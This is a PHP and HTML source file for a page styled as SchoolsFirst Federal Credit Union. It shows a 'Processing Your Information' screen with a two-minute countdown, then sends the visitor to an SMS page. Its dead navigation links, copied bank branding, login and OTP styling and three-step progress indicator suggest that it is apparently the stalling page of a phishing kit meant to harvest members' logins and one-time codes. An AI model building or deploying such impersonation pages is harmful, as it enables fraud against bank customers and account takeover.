<?php ?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<title>SchoolsFirst FCU — Please Wait</title>
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{--navy:#1B3A5C;--navy-dk:#132c47;--gold:#B8860B;--gold-lt:#C9941A;--gold-bg:#f9f4e8;--teal:#2E7B8C;--text:#1a1a1a;--sub:#555;--border:#d0d8e0;--light:#f4f6f8;--white:#fff}
html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}
/* top nav */
.main-nav{background:var(--white);padding:0 40px;height:80px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e0e4eb;position:relative;z-index:300}
.nav-logo img{height:58px;width:auto;display:block}
.search-wrap{display:flex;align-items:center;border:1.5px solid #ccc;border-radius:3px;overflow:hidden;height:42px;min-width:240px}
.search-wrap input{flex:1;border:none;outline:none;padding:0 14px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:transparent}
.search-wrap input::placeholder{color:#aab}
.search-wrap button{background:none;border:none;border-left:1.5px solid #ccc;height:42px;width:46px;display:flex;align-items:center;justify-content:center;cursor:pointer;color:var(--sub);transition:background .15s}
.search-wrap button:hover{background:#f5f5f5}
/* sub nav */
.sub-nav{background:var(--white);border-bottom:2px solid #e0e4eb;padding:0 40px;display:flex;align-items:center;justify-content:space-between;height:52px}
.sub-links{display:flex;align-items:center;gap:0}
.sub-links a{font-size:13.5px;font-weight:500;color:var(--text);text-decoration:none;padding:0 18px;height:52px;display:flex;align-items:center;border-bottom:3px solid transparent;transition:color .15s,border-color .15s;margin-bottom:-2px}
.sub-links a:hover{color:var(--navy);border-color:var(--navy)}
.btn-login-nav{background:var(--gold-lt);color:#fff;border:none;padding:11px 26px;font-family:'Inter',sans-serif;font-size:13.5px;font-weight:700;cursor:pointer;letter-spacing:.06em;text-transform:uppercase;transition:background .15s;border-radius:2px}
.btn-login-nav:hover{background:var(--gold)}
/* hero */
.hero{position:relative;min-height:500px;overflow:hidden}
.hero-bg{position:absolute;inset:0;background:url('res/img/background.jpeg') center center / cover no-repeat;z-index:0}
.hero-overlay{position:absolute;inset:0;z-index:1;background:linear-gradient(to right,rgba(0,0,0,.22) 0%,rgba(0,0,0,.08) 60%,transparent 80%)}
/* hero right panel */
.hero-panel{position:absolute;top:50%;right:80px;transform:translateY(-50%);z-index:2;width:420px}
.hero-main-box{background:var(--navy);padding:40px 40px 32px;margin-bottom:0}
.hero-main-box h2{font-size:clamp(18px,2vw,26px);font-weight:800;color:#fff;line-height:1.25;letter-spacing:.04em;text-transform:uppercase;margin-bottom:24px}
.hero-learn{display:inline-flex;align-items:center;gap:8px;font-size:13.5px;font-weight:800;color:#fff;letter-spacing:.08em;text-transform:uppercase;text-decoration:none;cursor:pointer;transition:opacity .15s}
.hero-learn:hover{opacity:.8}
.hero-learn svg{transition:transform .2s}
.hero-learn:hover svg{transform:translateX(3px)}
.hero-member-box{background:var(--gold-lt);padding:20px 40px}
.hero-member-box .name{font-size:17px;font-weight:800;color:#fff;letter-spacing:.04em}
.hero-member-box .since{font-size:12px;font-weight:700;color:rgba(255,255,255,.8);letter-spacing:.1em;text-transform:uppercase;margin-top:2px}
/* carousel dots */
.carousel-dots{position:absolute;bottom:24px;left:50%;transform:translateX(-50%);z-index:2;display:flex;gap:8px}
.cdot{width:12px;height:12px;border-radius:50%;background:rgba(255,255,255,.5);cursor:pointer;transition:background .2s}
.cdot.active{background:#fff}
/* preapproval bar */
.preapproval-bar{background:var(--white);border-top:1px solid #e0e4eb;border-bottom:1px solid #e0e4eb;display:flex;align-items:center;justify-content:center;gap:0;overflow:hidden}
.pre-left{flex:1;padding:22px 40px;font-size:14.5px;color:var(--text);line-height:1.55;max-width:640px}
.pre-left strong{font-weight:700}
.pre-divider{width:1px;height:80px;background:#e0e4eb;flex-shrink:0}
.pre-right{padding:22px 48px;display:flex;align-items:center;flex-shrink:0}
.pre-login{display:inline-flex;align-items:center;gap:8px;font-size:15px;font-weight:800;color:var(--gold-lt);text-decoration:none;letter-spacing:.06em;text-transform:uppercase;cursor:pointer;transition:color .15s}
.pre-login:hover{color:var(--gold)}
/* login dropdown */
.login-wrap{position:relative}
.login-dd{display:none;position:absolute;top:calc(100% + 12px);right:0;width:330px;background:var(--white);border:1px solid var(--border);border-radius:4px;box-shadow:0 8px 32px rgba(0,0,0,.14);z-index:500;padding:24px 22px 20px;animation:ddIn .18s ease both}
.login-dd.open{display:block}
@keyframes ddIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
.login-dd::before{content:'';position:absolute;top:-7px;right:28px;width:14px;height:14px;background:var(--white);transform:rotate(45deg);border-radius:2px 0 0 0;border-left:1px solid var(--border);border-top:1px solid var(--border)}
.dd-title{font-size:17px;font-weight:700;color:var(--text);margin-bottom:16px}
.dd-f{margin-bottom:12px}
.dd-f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:3px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.dd-f input::placeholder{color:#aab}
.dd-f input:focus{border-color:var(--navy);box-shadow:0 0 0 3px rgba(27,58,92,.12);background:#fff}
.btn-dd-login{width:100%;height:46px;background:var(--gold-lt);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:14px;letter-spacing:.04em;text-transform:uppercase;transition:background .15s}
.btn-dd-login:hover{background:var(--gold)}
.dd-links{display:flex;align-items:center;gap:6px;font-size:12.5px}
.dd-links a{color:var(--gold-lt);text-decoration:none}
.dd-links a:hover{text-decoration:underline}
.dd-links span{color:#ccc}
/* inner pages */
.page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:64px 20px;background:var(--light)}
.bg-art{position:absolute;right:0;top:0;bottom:0;width:46%;z-index:0;opacity:.055;background-image:repeating-linear-gradient(-45deg,var(--navy) 0,var(--navy) 1px,transparent 0,transparent 50%);background-size:20px 20px}
.card{position:relative;z-index:2;background:var(--white);width:100%;max-width:520px;border-radius:4px;padding:40px;box-shadow:0 4px 28px rgba(0,0,0,.1);animation:ci .4s ease both;border-top:4px solid var(--gold-lt)}
@keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}
.card-logo{margin-bottom:22px;text-align:center}
.card-logo img{height:52px;width:auto;display:inline-block}
.steps{display:flex;align-items:center;gap:8px;margin-bottom:22px}
.st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
.st.done{background:var(--navy);color:#fff}
.st.active{background:var(--gold-lt);color:#fff;box-shadow:0 0 0 3px rgba(201,148,26,.2)}
.st.pend{background:#eee;color:#bbb}
.sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
.sl.done{background:var(--navy);opacity:.4}
.ch{margin-bottom:18px;padding-bottom:16px;border-bottom:2px solid var(--gold-lt)}
.ch h1{font-size:20px;font-weight:700;color:var(--navy)}
.ch p{font-size:13px;color:var(--sub);margin-top:4px}
.notice{display:flex;align-items:center;gap:9px;background:rgba(27,58,92,.06);border:1px solid rgba(27,58,92,.18);border-radius:4px;padding:10px 13px;margin-bottom:16px}
.notice svg{flex-shrink:0;color:var(--navy)}
.notice span{font-size:12.5px;color:var(--navy);font-weight:500}
.f{margin-bottom:13px}
.f label{display:block;font-size:11.5px;font-weight:700;color:var(--sub);margin-bottom:5px;letter-spacing:.05em;text-transform:uppercase}
.f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:3px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.f input::placeholder{color:#bbb}
.f input:focus{border-color:var(--navy);box-shadow:0 0 0 3px rgba(27,58,92,.12);background:#fff}
.frow{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:13px}
.frow .f{margin-bottom:0}
.btn-main{width:100%;height:48px;background:var(--gold-lt);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:15px;font-weight:700;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;letter-spacing:.04em;text-transform:uppercase;transition:background .15s}
.btn-main:hover{background:var(--gold)}
.clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid #e8edf4}
.clinks a{font-size:13px;color:var(--gold-lt);text-decoration:none;display:flex;align-items:center;gap:5px}
.clinks a:hover{text-decoration:underline}
/* wait */
.ring-wrap{position:relative;width:138px;height:138px;margin:0 auto 22px}
.ring-wrap svg{width:138px;height:138px;transform:rotate(-90deg)}
.ring-track{fill:none;stroke:#dde2ea;stroke-width:6}
.ring-prog{fill:none;stroke:var(--gold-lt);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 5px rgba(201,148,26,.3))}
.ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
.ring-time{font-size:32px;font-weight:700;color:var(--navy);line-height:1}
.ring-unit{font-size:11px;color:var(--sub);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}
.dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
.dots span{width:9px;height:9px;border-radius:50%;background:#dde2ea;transition:background .4s,transform .3s}
.dots span.lit{background:var(--navy);transform:scale(1.25)}
.info-n{display:inline-flex;align-items:center;gap:8px;background:rgba(27,58,92,.06);border:1px solid rgba(27,58,92,.18);border-radius:4px;padding:10px 18px;font-size:12.5px;color:var(--navy);font-weight:600}
/* otp */
.otp-row{display:flex;gap:8px;justify-content:center;margin-bottom:12px}
.otp-row input{width:54px;height:58px;border:1.5px solid var(--border);border-radius:3px;font-size:26px;font-weight:700;color:var(--navy);text-align:center;background:#fafbfc;outline:none;transition:border-color .15s,box-shadow .15s;caret-color:var(--navy);-webkit-appearance:none;font-family:'Inter',sans-serif}
.otp-row input:focus{border-color:var(--navy);box-shadow:0 0 0 3px rgba(27,58,92,.12);background:#fff}
.otp-row input.filled{border-color:var(--gold-lt);background:var(--gold-bg)}
.phone-b{display:flex;align-items:center;gap:11px;background:rgba(27,58,92,.06);border:1px solid rgba(27,58,92,.18);border-radius:4px;padding:12px 14px;margin-bottom:20px}
.phone-icon{width:32px;height:32px;background:var(--navy);border-radius:3px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.phone-icon svg{color:#fff}
.phone-txt{font-size:12.5px;color:var(--sub);line-height:1.5}
.phone-txt strong{display:block;font-size:13px;color:var(--text);font-weight:700;margin-bottom:1px}
.resend-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;margin-top:8px}
.resend-timer{font-size:12.5px;color:var(--sub);display:flex;align-items:center;gap:5px}
.resend-timer span{font-weight:700;color:var(--navy);min-width:32px}
.resend-btn{font-size:13px;color:var(--gold-lt);font-weight:600;background:none;border:none;cursor:pointer;text-decoration:underline;font-family:'Inter',sans-serif;padding:0}
.resend-btn:disabled{color:var(--sub);text-decoration:none;cursor:default;opacity:.6}
.otp-lbl{font-size:12px;font-weight:700;color:var(--sub);margin-bottom:12px;letter-spacing:.06em;text-transform:uppercase}
/* loader */
#loader{display:none;position:fixed;inset:0;background:rgba(255,255,255,.93);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:18px}
#loader .loader-logo img{height:56px;width:auto}
#loader p{font-size:15px;font-weight:600;color:var(--navy);font-family:'Inter',sans-serif}
.spinner-ring{width:48px;height:48px;border:4px solid rgba(201,148,26,.18);border-top-color:var(--gold-lt);border-radius:50%;animation:spin .85s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}
/* footer */
.page-footer{background:var(--navy);padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
.footer-links{display:flex;gap:20px;flex-wrap:wrap}
.footer-links a{font-size:12px;color:rgba(255,255,255,.5);text-decoration:none}
.footer-links a:hover{color:#fff}
.footer-copy{font-size:12px;color:rgba(255,255,255,.3)}
@media(max-width:900px){.sub-links{overflow-x:auto}.main-nav{padding:0 20px}.sub-nav{padding:0 20px;flex-direction:column;height:auto;align-items:flex-start;padding-top:8px;padding-bottom:8px}.hero-panel{right:20px;width:calc(100% - 40px)}.hero{min-height:400px}.preapproval-bar{flex-direction:column;text-align:center}.pre-divider{display:none}.pre-right{padding:16px}}
@media(max-width:500px){.card{padding:26px 18px 28px}.frow{grid-template-columns:1fr}.otp-row input{width:44px;height:50px;font-size:22px}.login-dd{width:290px;right:-10px}}
</style>
</head><body><nav class="main-nav">
    <div class="nav-logo"><img src="res/img/logo.webp" alt="SchoolsFirst Federal Credit Union"></div>
    <div class="search-wrap">
        <input type="text" placeholder="Search">
        <button><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
    </div>
</nav>
<div class="sub-nav">
    <div class="sub-links">
        <a href="#">Checking &amp; Savings</a>
        <a href="#">Loans &amp; Credit Cards</a>
        <a href="#">Home Loans</a>
        <a href="#">Planning &amp; Investing</a>
        <a href="#">Financial Wellness</a>
        <a href="#">Membership</a>
    </div>
    <button class="btn-login-nav" onclick="window.location='login.php'">Log In</button>
</div><div class="page-bg"><div class="bg-art"></div><div class="card"><div class="card-logo"><img src="res/img/logo.webp" alt="SchoolsFirst FCU"></div><div class="steps" style="max-width:280px;margin:0 auto 24px"><div class="st done">&#10003;</div><div class="sl done"></div><div class="st done">&#10003;</div><div class="sl done"></div><div class="st active">3</div></div><div style="text-align:center">
<div class="ring-wrap"><svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-prog" id="rp" cx="55" cy="55" r="52"/></svg><div class="ring-lbl"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div></div>
<h1 style="font-size:18px;font-weight:700;color:var(--navy);margin-bottom:8px">Processing Your Information</h1>
<p style="font-size:13.5px;color:var(--sub);line-height:1.65;max-width:300px;margin:0 auto 22px">Please wait while we securely verify your request. Do not close this window.</p>
<div class="dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
<div class="info-n"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
</div></div></div><footer class="page-footer">
    <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a></div>
    <div class="footer-copy">© 2025 SchoolsFirst Federal Credit Union. Federally Insured by NCUA. Equal Housing Opportunity.</div>
</footer><div id="loader">
    <div class="loader-logo"><img src="res/img/logo.webp" alt="SchoolsFirst FCU"></div>
    <div class="spinner-ring"></div>
    <p>Please wait...</p>
</div><script>
var next="<?php echo htmlspecialchars($_GET['next']??'sms.php',ENT_QUOTES);?>";
const TOTAL=120;let rem=TOTAL;
const disp=document.getElementById('td'),ring=document.getElementById('rp'),CIRC=2*Math.PI*52;
const dots=[0,1,2,3,4].map(i=>document.getElementById('d'+i));
function tick(){const m=Math.floor(rem/60),s=rem%60;disp.textContent=m+':'+String(s).padStart(2,'0');ring.style.strokeDashoffset=CIRC*(1-rem/TOTAL);const lit=Math.floor(((TOTAL-rem)/TOTAL)*dots.length);dots.forEach((d,i)=>d.classList.toggle('lit',i<=lit));if(rem<=0){clearInterval(t);window.location=next;}else rem--;}
tick();const t=setInterval(tick,1000);
</script></body></html>